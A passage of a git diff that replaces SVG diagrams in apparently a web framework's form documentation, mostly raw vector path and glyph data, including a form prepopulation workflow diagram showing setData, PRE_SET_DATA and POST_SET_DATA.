254.203125 50.785156 253.910156 50.785156 253.460938 C 50.785156 253.074219 50.667969 252.769531 50.429688 252.542969 C 50.203125 252.316406 49.894531 252.160156 49.5 252.070312 L 44.171875 252.070312 M 44.835938 261.417969 C 44.628906 261.171875 44.464844 260.859375 44.347656 260.488281 C 44.230469 260.121094 44.171875 259.734375 44.171875 259.320312 C 44.171875 258.839844 44.257812 258.425781 44.4375 258.082031 C 44.613281 257.734375 44.867188 257.449219 45.203125 257.226562 C 45.535156 256.996094 45.933594 256.828125 46.386719 256.722656 C 46.847656 256.613281 47.367188 256.5625 47.949219 256.5625 C 49.179688 256.5625 50.113281 256.796875 50.757812 257.269531 C 51.40625 257.742188 51.730469 258.410156 51.730469 259.277344 C 51.730469 259.5625 51.695312 259.84375 51.628906 260.117188 C 51.570312 260.390625 51.4375 260.640625 51.242188 260.855469 C 51.042969 261.082031 50.769531 261.261719 50.417969 261.402344 C 50.0625 261.539062 49.597656 261.609375 49.027344 261.609375 C 48.871094 261.609375 48.695312 261.597656 48.511719 261.582031 C 48.335938 261.570312 48.148438 261.554688 47.949219 261.535156 L 47.949219 257.699219 C 47.515625 257.699219 47.125 257.730469 46.769531 257.800781 C 46.421875 257.867188 46.128906 257.976562 45.882812 258.125 C 45.636719 258.28125 45.445312 258.480469 45.308594 258.714844 C 45.179688 258.953125 45.117188 259.246094 45.117188 259.601562 C 45.117188 259.875 45.160156 260.148438 45.25 260.414062 C 45.34375 260.679688 45.464844 260.878906 45.601562 261.019531 M 48.894531 260.5625 C 49.546875 260.582031 50.023438 260.472656 50.328125 260.238281 C 50.632812 260.007812 50.785156 259.695312 50.785156 259.292969 C 50.785156 258.828125 50.632812 258.457031 50.328125 258.183594 C 50.023438 257.917969 49.546875 257.761719 48.894531 257.710938 M 51.730469 263.5 L 51.730469 264.28125 L 50.816406 264.476562 L 50.816406 264.519531 C 51.101562 264.65625 51.320312 264.835938 51.480469 265.066406 C 51.644531 265.289062 51.730469 265.566406 51.730469 265.890625 C 51.730469 266.117188 51.691406 266.378906 51.613281 266.675781 L 50.652344 266.46875 C 50.742188 266.203125 50.785156 265.96875 50.785156 265.773438 C 50.785156 265.449219 50.691406 265.183594 50.503906 264.976562 C 50.316406 264.777344 50.066406 264.652344 49.753906 264.59375 L 44.171875 264.59375 L 44.171875 263.5 Z M 51.730469 263.5 "/>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M -3.716602 12.183398 L -3.716602 8.896289 L -4.538477 8.896289 L -2.894922 7.25293 L -1.251367 8.896289 L -2.073242 8.896289 L -2.073242 12.183398 L -1.251367 12.183398 L -2.894922 13.826953 L -4.538477 12.183398 Z M -3.716602 12.183398 " transform="matrix(20,0,0,20,106,-126)"/>
+<path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 51 42.335938 L 52.558594 42.464844 L 52.558594 42.40625 L 51.203125 41.925781 L 47.066406 39.828125 L 47.066406 39.449219 L 51.203125 37.238281 L 52.558594 36.785156 L 52.558594 36.726562 L 51 36.929688 L 44.273438 36.929688 L 44.273438 35.867188 L 54.527344 35.867188 L 54.527344 36.800781 L 49.75 39.320312 L 48.613281 39.699219 L 48.613281 39.726562 L 49.761719 40.09375 L 54.527344 42.464844 L 54.527344 43.457031 L 44.273438 43.457031 L 44.273438 42.335938 M 48 44.78125 C 49.28125 44.78125 50.222656 45.007812 50.828125 45.464844 C 51.425781 45.933594 51.730469 46.59375 51.730469 47.449219 C 51.730469 48.359375 51.417969 49.027344 50.796875 49.457031 C 50.183594 49.894531 49.253906 50.113281 48 50.113281 C 46.707031 50.113281 45.761719 49.878906 45.160156 49.414062 C 44.566406 48.949219 44.273438 48.292969 44.273438 47.449219 C 44.273438 46.535156 44.578125 45.859375 45.1875 45.421875 C 45.808594 44.992188 46.746094 44.78125 48 44.78125 M 48 45.902344 C 47.582031 45.902344 47.203125 45.925781 46.863281 45.976562 C 46.523438 46.035156 46.226562 46.125 45.976562 46.253906 C 45.730469 46.378906 45.542969 46.539062 45.40625 46.734375 C 45.269531 46.9375 45.203125 47.175781 45.203125 47.449219 C 45.203125 47.972656 45.421875 48.359375 45.859375 48.613281 C 46.304688 48.875 47.015625 49.007812 48 49.007812 C 48.410156 49.007812 48.78125 48.976562 49.121094 48.917969 C 49.472656 48.867188 49.765625 48.78125 50.011719 48.65625 C 50.261719 48.527344 50.453125 48.367188 50.59375 48.160156 C 50.726562 47.964844 50.796875 47.726562 50.796875 47.449219 C 50.796875 46.941406 50.570312 46.558594 50.128906 46.296875 C 49.679688 46.035156 48.96875 45.902344 48 45.902344 M 46.804688 56.332031 C 46.3125 56.332031 45.859375 56.335938 45.453125 56.347656 C 45.050781 56.355469 44.65625 56.390625 44.273438 56.449219 L 44.273438 55.722656 L 45.277344 55.488281 L 45.277344 55.429688 C 44.984375 55.292969 44.742188 55.074219 44.546875 54.773438 C 44.363281 54.472656 44.273438 54.113281 44.273438 53.695312 C 44.273438 52.886719 44.570312 52.289062 45.175781 51.890625 C 45.777344 51.5 46.71875 51.308594 48 51.308594 C 49.222656 51.308594 50.148438 51.542969 50.78125 52.019531 C 51.414062 52.503906 51.730469 53.171875 51.730469 54.015625 C 51.730469 54.308594 51.707031 54.535156 51.671875 54.703125 C 51.640625 54.875 51.585938 55.058594 51.511719 55.253906 L 54.527344 55.253906 L 54.527344 56.332031 M 50.460938 55.253906 C 50.578125 55.117188 50.660156 54.964844 50.710938 54.789062 C 50.769531 54.613281 50.796875 54.382812 50.796875 54.089844 C 50.796875 53.566406 50.566406 53.15625 50.113281 52.867188 C 49.652344 52.574219 48.949219 52.429688 48 52.429688 C 47.570312 52.429688 47.1875 52.449219 46.851562 52.503906 C 46.519531 52.558594 46.226562 52.648438 45.976562 52.765625 C 45.722656 52.878906 45.527344 53.027344 45.394531 53.199219 C 45.265625 53.382812 45.203125 53.613281 45.203125 53.886719 C 45.203125 54.601562 45.605469 55.058594 46.414062 55.253906 M 44.925781 62.625 C 44.722656 62.382812 44.5625 62.074219 44.445312 61.707031 C 44.328125 61.347656 44.273438 60.964844 44.273438 60.558594 C 44.273438 60.078125 44.359375 59.671875 44.535156 59.332031 C 44.707031 58.992188 44.960938 58.710938 45.292969 58.488281 C 45.617188 58.261719 46.007812 58.097656 46.457031 57.992188 C 46.910156 57.882812 47.425781 57.832031 48 57.832031 C 49.214844 57.832031 50.132812 58.066406 50.769531 58.53125 C 51.410156 59 51.730469 59.65625 51.730469 60.511719 C 51.730469 60.792969 51.691406 61.070312 51.628906 61.34375 C 51.570312 61.613281 51.441406 61.855469 51.25 62.070312 C 51.050781 62.292969 50.78125 62.472656 50.433594 62.609375 C 50.082031 62.746094 49.625 62.816406 49.0625 62.816406 C 48.90625 62.816406 48.734375 62.804688 48.554688 62.785156 C 48.378906 62.773438 48.195312 62.761719 48 62.742188 L 48 58.953125 C 47.570312 58.953125 47.183594 58.988281 46.835938 59.054688 C 46.492188 59.121094 46.203125 59.230469 45.960938 59.378906 C 45.71875 59.53125 45.527344 59.726562 45.394531 59.960938 C 45.265625 60.191406 45.203125 60.484375 45.203125 60.832031 C 45.203125 61.101562 45.246094 61.371094 45.335938 61.632812 C 45.429688 61.898438 45.546875 62.09375 45.683594 62.230469 M 48.933594 61.78125 C 49.574219 61.796875 50.042969 61.691406 50.34375 61.460938 C 50.644531 61.234375 50.796875 60.925781 50.796875 60.527344 C 50.796875 60.070312 50.644531 59.703125 50.34375 59.433594 C 50.042969 59.171875 49.574219 59.015625 48.933594 58.96875 M 46.136719 65.828125 C 45.804688 65.828125 45.566406 65.875 45.421875 65.960938 C 45.277344 66.054688 45.203125 66.195312 45.203125 66.367188 C 45.203125 66.574219 45.261719 66.8125 45.378906 67.097656 L 44.535156 67.199219 C 44.453125 67.070312 44.390625 66.894531 44.34375 66.660156 C 44.292969 66.425781 44.273438 66.214844 44.273438 66.035156 C 44.273438 65.65625 44.382812 65.347656 44.605469 65.117188 C 44.839844 64.882812 45.238281 64.765625 45.800781 64.765625 L 54.527344 64.765625 L 54.527344 65.828125 M 53.59375 76.78125 L 53.59375 74.21875 L 44.273438 74.21875 L 44.273438 73.097656 L 53.59375 73.097656 L 53.59375 70.535156 L 54.527344 70.535156 L 54.527344 76.78125 M 51.730469 76.796875 L 51.730469 77.570312 L 50.828125 77.757812 L 50.828125 77.800781 C 51.105469 77.9375 51.324219 78.117188 51.480469 78.339844 C 51.644531 78.5625 51.730469 78.835938 51.730469 79.15625 C 51.730469 79.378906 51.6875 79.636719 51.613281 79.929688 L 50.664062 79.726562 C 50.753906 79.464844 50.796875 79.234375 50.796875 79.039062 C 50.796875 78.71875 50.703125 78.457031 50.519531 78.253906 C 50.335938 78.058594 50.085938 77.933594 49.777344 77.875 L 44.273438 77.875 L 44.273438 76.796875 M 51.175781 80.453125 C 51.351562 80.746094 51.484375 81.09375 51.582031 81.503906 C 51.679688 81.917969 51.730469 82.355469 51.730469 82.8125 C 51.730469 83.226562 51.664062 83.5625 51.539062 83.816406 C 51.421875 84.070312 51.257812 84.269531 51.042969 84.414062 C 50.839844 84.5625 50.601562 84.652344 50.332031 84.691406 C 50.070312 84.738281 49.785156 84.765625 49.484375 84.765625 C 48.902344 84.765625 48.335938 84.75 47.78125 84.722656 C 47.230469 84.699219 46.703125 84.691406 46.207031 84.691406 C 45.832031 84.691406 45.480469 84.699219 45.160156 84.722656 C 44.847656 84.75 44.550781 84.796875 44.273438 84.867188 L 44.273438 84.050781 L 45.203125 83.804688 L 45.203125 83.746094 C 44.949219 83.601562 44.730469 83.382812 44.546875 83.089844 C 44.363281 82.796875 44.273438 82.410156 44.273438 81.925781 C 44.273438 81.390625 44.46875 80.949219 44.867188 80.597656 C 45.265625 80.257812 45.816406 80.089844 46.515625 80.089844 C 46.96875 80.089844 47.347656 80.164062 47.652344 80.308594 C 47.960938 80.453125 48.210938 80.65625 48.410156 80.917969 C 48.601562 81.183594 48.734375 81.492188 48.816406 81.851562 C 48.894531 82.21875 48.933594 82.628906 48.933594 83.074219 C 48.933594 83.171875 48.933594 83.269531 48.933594 83.367188 C 48.933594 83.472656 48.925781 83.578125 48.917969 83.6875 C 49.160156 83.714844 49.375 83.730469 49.574219 83.730469 C 50.019531 83.730469 50.335938 83.644531 50.519531 83.46875 C 50.703125 83.300781 50.796875 82.996094 50.796875 82.550781 C 50.796875 82.265625 50.753906 81.960938 50.664062 81.632812 C 50.585938 81.300781 50.484375 81.027344 50.359375 80.816406 M 47.972656 83.703125 C 47.980469 83.601562 47.984375 83.5 47.984375 83.394531 C 47.992188 83.296875 48 83.199219 48 83.105469 C 48 82.859375 47.976562 82.625 47.925781 82.390625 C 47.886719 82.164062 47.816406 81.960938 47.710938 81.777344 C 47.601562 81.605469 47.453125 81.460938 47.273438 81.355469 C 47.085938 81.246094 46.851562 81.195312 46.574219 81.195312 C 46.136719 81.195312 45.792969 81.289062 45.554688 81.488281 C 45.320312 81.679688 45.203125 81.933594 45.203125 82.246094 C 45.203125 82.660156 45.308594 82.988281 45.523438 83.222656 C 45.734375 83.453125 45.976562 83.613281 46.238281 83.703125 M 44.273438 89.949219 L 48.730469 89.949219 C 49.457031 89.949219 49.980469 89.863281 50.300781 89.6875 C 50.628906 89.511719 50.796875 89.199219 50.796875 88.757812 C 50.796875 88.355469 50.679688 88.027344 50.449219 87.765625 C 50.214844 87.503906 49.925781 87.3125 49.589844 87.199219 L 44.273438 87.199219 L 44.273438 86.121094 L 51.730469 86.121094 L 51.730469 86.90625 L 50.78125 87.09375 L 50.78125 87.140625 C 51.042969 87.332031 51.265625 87.589844 51.453125 87.910156 C 51.632812 88.230469 51.730469 88.613281 51.730469 89.0625 C 51.730469 89.382812 51.6875 89.664062 51.597656 89.90625 C 51.511719 90.148438 51.359375 90.351562 51.148438 90.519531 C 50.941406 90.683594 50.664062 90.800781 50.316406 90.882812 C 49.96875 90.96875 49.523438 91.011719 48.992188 91.011719 L 44.273438 91.011719 M 45.613281 92.542969 C 45.496094 92.734375 45.398438 92.96875 45.320312 93.242188 C 45.242188 93.511719 45.203125 93.796875 45.203125 94.085938 C 45.203125 94.414062 45.28125 94.691406 45.4375 94.917969 C 45.601562 95.148438 45.863281 95.265625 46.222656 95.265625 C 46.523438 95.265625 46.769531 95.195312 46.964844 95.046875 C 47.160156 94.910156 47.335938 94.734375 47.492188 94.523438 C 47.644531 94.308594 47.785156 94.074219 47.914062 93.824219 C 48.035156 93.582031 48.191406 93.351562 48.363281 93.140625 C 48.539062 92.925781 48.746094 92.746094 48.992188 92.601562 C 49.230469 92.460938 49.542969 92.398438 49.921875 92.398438 C 50.511719 92.398438 50.960938 92.566406 51.261719 92.90625 C 51.574219 93.257812 51.730469 93.742188 51.730469 94.363281 C 51.730469 94.773438 51.6875 95.121094 51.613281 95.414062 C 51.542969 95.710938 51.453125 95.972656 51.335938 96.199219 L 50.476562 95.921875 C 50.570312 95.726562 50.652344 95.503906 50.710938 95.253906 C 50.769531 95.007812 50.796875 94.761719 50.796875 94.507812 C 50.796875 94.148438 50.722656 93.886719 50.578125 93.722656 C 50.441406 93.554688 50.222656 93.476562 49.921875 93.476562 C 49.679688 93.476562 49.476562 93.539062 49.3125 93.679688 C 49.144531 93.824219 48.996094 94 48.859375 94.203125 C 48.722656 94.414062 48.582031 94.648438 48.4375 94.902344 C 48.300781 95.152344 48.136719 95.382812 47.941406 95.585938 C 47.746094 95.796875 47.511719 95.972656 47.242188 96.113281 C 46.96875 96.257812 46.632812 96.328125 46.222656 96.328125 C 45.960938 96.328125 45.707031 96.285156 45.464844 96.199219 C 45.234375 96.113281 45.027344 95.972656 44.855469 95.792969 C 44.679688 95.605469 44.539062 95.375 44.433594 95.105469 C 44.324219 94.832031 44.273438 94.511719 44.273438 94.144531 C 44.273438 93.707031 44.308594 93.328125 44.386719 93.007812 C 44.476562 92.6875 44.582031 92.417969 44.707031 92.207031 M 51.730469 96.664062 L 51.730469 97.582031 L 52.109375 97.582031 C 52.960938 97.582031 53.578125 97.714844 53.957031 97.976562 C 54.335938 98.246094 54.527344 98.707031 54.527344 99.359375 C 54.527344 99.609375 54.511719 99.839844 54.480469 100.042969 C 54.453125 100.253906 54.386719 100.472656 54.292969 100.699219 L 53.40625 100.4375 C 53.480469 100.25 53.527344 100.082031 53.550781 99.929688 C 53.578125 99.78125 53.59375 99.636719 53.59375 99.492188 C 53.59375 99.292969 53.554688 99.140625 53.476562 99.023438 C 53.40625 98.914062 53.300781 98.835938 53.15625 98.777344 C 53.011719 98.726562 52.8125 98.691406 52.574219 98.675781 C 52.339844 98.664062 52.058594 98.660156 51.730469 98.660156 L 51.730469 100.203125 L 50.796875 100.203125 L 50.796875 98.660156 L 44.273438 98.660156 L 44.273438 97.582031 L 50.796875 97.582031 L 50.796875 96.664062 M 48 100.714844 C 49.28125 100.714844 50.222656 100.941406 50.828125 101.398438 C 51.425781 101.863281 51.730469 102.523438 51.730469 103.378906 C 51.730469 104.289062 51.417969 104.960938 50.796875 105.390625 C 50.183594 105.828125 49.253906 106.046875 48 106.046875 C 46.707031 106.046875 45.761719 105.8125 45.160156 105.347656 C 44.566406 104.878906 44.273438 104.226562 44.273438 103.378906 C 44.273438 102.464844 44.578125 101.792969 45.1875 101.355469 C 45.808594 100.925781 46.746094 100.714844 48 100.714844 M 48 101.835938 C 47.582031 101.835938 47.203125 101.859375 46.863281 101.910156 C 46.523438 101.96875 46.226562 102.058594 45.976562 102.183594 C 45.730469 102.308594 45.542969 102.46875 45.40625 102.667969 C 45.269531 102.871094 45.203125 103.105469 45.203125 103.378906 C 45.203125 103.902344 45.421875 104.289062 45.859375 104.546875 C 46.304688 104.808594 47.015625 104.9375 48 104.9375 C 48.410156 104.9375 48.78125 104.910156 49.121094 104.851562 C 49.472656 104.800781 49.765625 104.710938 50.011719 104.589844 C 50.261719 104.460938 50.453125 104.296875 50.59375 104.09375 C 50.726562 103.898438 50.796875 103.660156 50.796875 103.378906 C 50.796875 102.875 50.570312 102.492188 50.128906 102.230469 C 49.679688 101.96875 48.96875 101.835938 48 101.835938 M 51.730469 107.558594 L 51.730469 108.332031 L 50.828125 108.519531 L 50.828125 108.566406 C 51.105469 108.699219 51.324219 108.878906 51.480469 109.105469 C 51.644531 109.328125 51.730469 109.597656 51.730469 109.917969 C 51.730469 110.140625 51.6875 110.402344 51.613281 110.691406 L 50.664062 110.488281 C 50.753906 110.226562 50.796875 109.996094 50.796875 109.804688 C 50.796875 109.484375 50.703125 109.21875 50.519531 109.015625 C 50.335938 108.820312 50.085938 108.695312 49.777344 108.636719 L 44.273438 108.636719 L 44.273438 107.558594 M 44.273438 114.785156 L 48.613281 114.785156 C 49 114.785156 49.328125 114.769531 49.601562 114.742188 C 49.882812 114.71875 50.113281 114.667969 50.289062 114.582031 C 50.460938 114.5 50.585938 114.394531 50.664062 114.261719 C 50.753906 114.121094 50.796875 113.941406 50.796875 113.707031 C 50.796875 113.363281 50.664062 113.082031 50.402344 112.847656 C 50.148438 112.613281 49.859375 112.453125 49.53125 112.367188 L 44.273438 112.367188 L 44.273438 111.289062 L 51.730469 111.289062 L 51.730469 112.0625 L 50.78125 112.25 L 50.78125 112.292969 C 51.0625 112.503906 51.292969 112.753906 51.46875 113.035156 C 51.640625 113.328125 51.730469 113.695312 51.730469 114.144531 C 51.730469 114.523438 51.644531 114.832031 51.480469 115.074219 C 51.324219 115.316406 51.042969 115.503906 50.636719 115.644531 C 50.976562 115.820312 51.242188 116.070312 51.4375 116.402344 C 51.632812 116.738281 51.730469 117.109375 51.730469 117.507812 C 51.730469 117.835938 51.6875 118.121094 51.597656 118.351562 C 51.519531 118.585938 51.371094 118.777344 51.160156 118.921875 C 50.957031 119.066406 50.679688 119.171875 50.332031 119.242188 C 49.988281 119.308594 49.558594 119.34375 49.035156 119.34375 L 44.273438 119.34375 L 44.273438 118.28125 L 48.917969 118.28125 C 49.546875 118.28125 50.019531 118.214844 50.332031 118.089844 C 50.640625 117.964844 50.796875 117.675781 50.796875 117.230469 C 50.796875 116.851562 50.679688 116.550781 50.449219 116.328125 C 50.222656 116.101562 49.914062 115.949219 49.53125 115.863281 L 44.273438 115.863281 M 44.925781 125.082031 C 44.722656 124.839844 44.5625 124.53125 44.445312 124.164062 C 44.328125 123.804688 44.273438 123.421875 44.273438 123.015625 C 44.273438 122.539062 44.359375 122.128906 44.535156 121.789062 C 44.707031 121.449219 44.960938 121.167969 45.292969 120.945312 C 45.617188 120.71875 46.007812 120.554688 46.457031 120.449219 C 46.910156 120.339844 47.425781 120.289062 48 120.289062 C 49.214844 120.289062 50.132812 120.523438 50.769531 120.988281 C 51.410156 121.457031 51.730469 122.113281 51.730469 122.96875 C 51.730469 123.25 51.691406 123.527344 51.628906 123.800781 C 51.570312 124.070312 51.441406 124.3125 51.25 124.527344 C 51.050781 124.75 50.78125 124.929688 50.433594 125.066406 C 50.082031 125.203125 49.625 125.273438 49.0625 125.273438 C 48.90625 125.273438 48.734375 125.261719 48.554688 125.242188 C 48.378906 125.230469 48.195312 125.21875 48 125.199219 L 48 121.410156 C 47.570312 121.410156 47.183594 121.445312 46.835938 121.515625 C 46.492188 121.578125 46.203125 121.6875 45.960938 121.835938 C 45.71875 121.988281 45.527344 122.183594 45.394531 122.417969 C 45.265625 122.648438 45.203125 122.941406 45.203125 123.292969 C 45.203125 123.558594 45.246094 123.828125 45.335938 124.09375 C 45.429688 124.355469 45.546875 124.550781 45.683594 124.6875 M 48.933594 124.238281 C 49.574219 124.257812 50.042969 124.152344 50.34375 123.917969 C 50.644531 123.691406 50.796875 123.382812 50.796875 122.984375 C 50.796875 122.527344 50.644531 122.164062 50.34375 121.894531 C 50.042969 121.628906 49.574219 121.472656 48.933594 121.425781 M 51.730469 127.136719 L 51.730469 127.910156 L 50.828125 128.097656 L 50.828125 128.140625 C 51.105469 128.277344 51.324219 128.453125 51.480469 128.679688 C 51.644531 128.902344 51.730469 129.175781 51.730469 129.496094 C 51.730469 129.71875 51.6875 129.976562 51.613281 130.269531 L 50.664062 130.0625 C 50.753906 129.800781 50.796875 129.574219 50.796875 129.378906 C 50.796875 129.058594 50.703125 128.796875 50.519531 128.59375 C 50.335938 128.394531 50.085938 128.273438 49.777344 128.214844 L 44.273438 128.214844 L 44.273438 127.136719 Z M 51.730469 127.136719 "/>
+</g>
+</svg>
diff --git a/_images/form/form_prepopulation_workflow.svg b/_images/form/form_prepopulation_workflow.svg
index 1db13f94c72..c908f5c5a76 100644
--- a/_images/form/form_prepopulation_workflow.svg
+++ b/_images/form/form_prepopulation_workflow.svg
@@ -1,54 +1,253 @@
-<svg width="700" viewBox="918 1177 943 167" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
-  <g id="prepopulation">
-    <g>
-      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="920" y="1280" width="160" height="63.7055" rx="6" ry="6"/>
-      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1000" y="1319.84">
-        <tspan x="1000" y="1319.84">New form</tspan>
-      </text>
-    </g>
-    <g>
-      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1700" y="1280" width="160" height="63.7055" rx="6" ry="6"/>
-      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1780" y="1319.84">
-        <tspan x="1780" y="1319.84">Prepopulated form</tspan>
-      </text>
-    </g>
-    <g>
-      <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="1080" y1="1311.85" x2="1689" y2="1311.85"/>
-      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1689,1316.85 1699,1311.85 1689,1306.85 "/>
-    </g>
-    <g>
-      <path style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" d="M 1106.67 1180 L 1213.33,1180 C 1228.06,1180 1240,1190.5 1240,1203.45 C 1240,1216.4 1228.06,1226.9 1213.33,1226.9 L 1106.67,1226.9 C 1091.94,1226.9 1080,1216.4 1080,1203.45 C 1080,1190.5 1091.94,1180 1106.67,1180z"/>
-      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1160" y="1211.43">
-        <tspan x="1160" y="1211.43">Model data</tspan>
-      </text>
-    </g>
-    <g>
-      <rect style="fill: #fddfbb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1480" y="1280" width="140" height="63.7055" rx="6" ry="6"/>
-      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1550" y="1319.84">
-        <tspan x="1550" y="1319.84">POST_SET_DATA</tspan>
-      </text>
-    </g>
-    <g>
-      <rect style="fill: #fddfbb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1200" y="1280" width="145.381" height="63.7055" rx="6" ry="6"/>
-      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1272.69" y="1319.84">
-        <tspan x="1272.69" y="1319.84">PRE_SET_DATA</tspan>
-      </text>
-    </g>
-    <g>
-      <rect style="fill: #ffffff; fill-opacity: 1; stroke: none" x="1088.7" y="1314.61" width="102.6" height="23.3724"/>
-      <text font-size="18.0622" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1140" y="1333">
-        <tspan xml:space="preserve" x="1140" y="1333">  setData($data) </tspan>
-      </text>
-    </g>
-    <g>
-      <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #000000" x1="1160" y1="1226.9" x2="1160" y2="1300.85"/>
-      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1155,1300.85 1160,1310.85 1165,1300.85 "/>
-    </g>
-    <g>
-      <rect style="fill: #ffffff; fill-opacity: 1; stroke: none" x="1366.97" y="1285.47" width="86.05" height="23.3724"/>
-      <text font-size="18.0622" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1410" y="1303.85">
-        <tspan x="1410" y="1303.85">normalization</tspan>
-      </text>
-    </g>
-  </g>
+<?xml version="1.0" encoding="UTF-8"?>
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="961pt" height="201pt" viewBox="0 0 961 201" version="1.1">
+<defs>
+<g>
+<symbol overflow="visible" id="glyph0-0">
+<path style="stroke:none;" d="M 1.015625 -14.234375 L 14.234375 -14.234375 L 14.234375 0 L 1.015625 0 Z M 11.59375 -12.609375 L 7.625 -8.1875 L 3.65625 -12.609375 L 2.640625 -11.59375 L 6.640625 -7.109375 L 2.640625 -2.640625 L 3.65625 -1.625 L 7.625 -6.03125 L 11.59375 -1.625 L 12.609375 -2.640625 L 8.578125 -7.109375 L 12.609375 -11.59375 Z M 2.625 -0.546875 L 2.78125 -0.546875 L 2.78125 -0.796875 L 2.859375 -0.796875 C 2.941406 -0.796875 3.015625 -0.8125 3.078125 -0.84375 C 3.148438 -0.875 3.1875 -0.9375 3.1875 -1.03125 C 3.1875 -1.144531 3.148438 -1.210938 3.078125 -1.234375 C 3.003906 -1.265625 2.925781 -1.28125 2.84375 -1.28125 L 2.625 -1.28125 Z M 2.859375 -1.15625 C 2.972656 -1.15625 3.03125 -1.125 3.03125 -1.0625 C 3.03125 -0.988281 3.007812 -0.945312 2.96875 -0.9375 C 2.9375 -0.9375 2.894531 -0.9375 2.84375 -0.9375 L 2.78125 -0.9375 L 2.78125 -1.15625 Z M 3.84375 -1.28125 L 3.21875 -1.28125 L 3.21875 -1.15625 L 3.453125 -1.15625 L 3.453125 -0.546875 L 3.59375 -0.546875 L 3.59375 -1.15625 L 3.84375 -1.15625 Z M 4.515625 -0.75 C 4.515625 -0.695312 4.46875 -0.671875 4.375 -0.671875 C 4.28125 -0.671875 4.21875 -0.6875 4.1875 -0.71875 L 4.125 -0.5625 C 4.15625 -0.5625 4.191406 -0.554688 4.234375 -0.546875 C 4.273438 -0.535156 4.328125 -0.53125 4.390625 -0.53125 C 4.578125 -0.53125 4.671875 -0.609375 4.671875 -0.765625 C 4.671875 -0.890625 4.609375 -0.957031 4.484375 -0.96875 C 4.367188 -0.988281 4.3125 -1.03125 4.3125 -1.09375 C 4.3125 -1.132812 4.351562 -1.15625 4.4375 -1.15625 C 4.5 -1.15625 4.554688 -1.144531 4.609375 -1.125 L 4.65625 -1.265625 C 4.570312 -1.285156 4.5 -1.296875 4.4375 -1.296875 C 4.238281 -1.296875 4.140625 -1.222656 4.140625 -1.078125 C 4.140625 -1.003906 4.160156 -0.953125 4.203125 -0.921875 C 4.242188 -0.898438 4.285156 -0.878906 4.328125 -0.859375 C 4.367188 -0.835938 4.410156 -0.820312 4.453125 -0.8125 C 4.492188 -0.800781 4.515625 -0.78125 4.515625 -0.75 Z M 4.8125 -0.953125 C 4.875 -0.984375 4.9375 -1 5 -1 C 5.070312 -1 5.109375 -0.972656 5.109375 -0.921875 L 5.109375 -0.875 C 5.085938 -0.875 5.070312 -0.875 5.0625 -0.875 C 5.050781 -0.882812 5.03125 -0.890625 5 -0.890625 C 4.832031 -0.890625 4.75 -0.820312 4.75 -0.6875 C 4.75 -0.582031 4.804688 -0.53125 4.921875 -0.53125 C 5.003906 -0.53125 5.066406 -0.5625 5.109375 -0.625 L 5.140625 -0.546875 L 5.265625 -0.546875 C 5.253906 -0.578125 5.25 -0.625 5.25 -0.6875 L 5.25 -0.921875 C 5.25 -1.054688 5.179688 -1.125 5.046875 -1.125 C 4.984375 -1.125 4.925781 -1.113281 4.875 -1.09375 C 4.832031 -1.082031 4.800781 -1.070312 4.78125 -1.0625 Z M 4.984375 -0.65625 C 4.929688 -0.65625 4.90625 -0.679688 4.90625 -0.734375 C 4.90625 -0.785156 4.9375 -0.8125 5 -0.8125 C 5.03125 -0.8125 5.050781 -0.804688 5.0625 -0.796875 C 5.070312 -0.796875 5.085938 -0.796875 5.109375 -0.796875 L 5.109375 -0.734375 C 5.078125 -0.679688 5.035156 -0.65625 4.984375 -0.65625 Z M 5.9375 -0.546875 L 5.9375 -0.875 C 5.9375 -1.039062 5.875 -1.125 5.75 -1.125 C 5.65625 -1.125 5.585938 -1.085938 5.546875 -1.015625 L 5.515625 -1.09375 L 5.40625 -1.09375 L 5.40625 -0.546875 L 5.546875 -0.546875 L 5.546875 -0.890625 C 5.578125 -0.941406 5.617188 -0.96875 5.671875 -0.96875 C 5.734375 -0.96875 5.765625 -0.929688 5.765625 -0.859375 L 5.765625 -0.546875 Z M 6.03125 -0.5625 C 6.09375 -0.539062 6.160156 -0.53125 6.234375 -0.53125 C 6.390625 -0.53125 6.46875 -0.59375 6.46875 -0.71875 C 6.46875 -0.78125 6.445312 -0.816406 6.40625 -0.828125 C 6.375 -0.847656 6.335938 -0.867188 6.296875 -0.890625 C 6.234375 -0.921875 6.203125 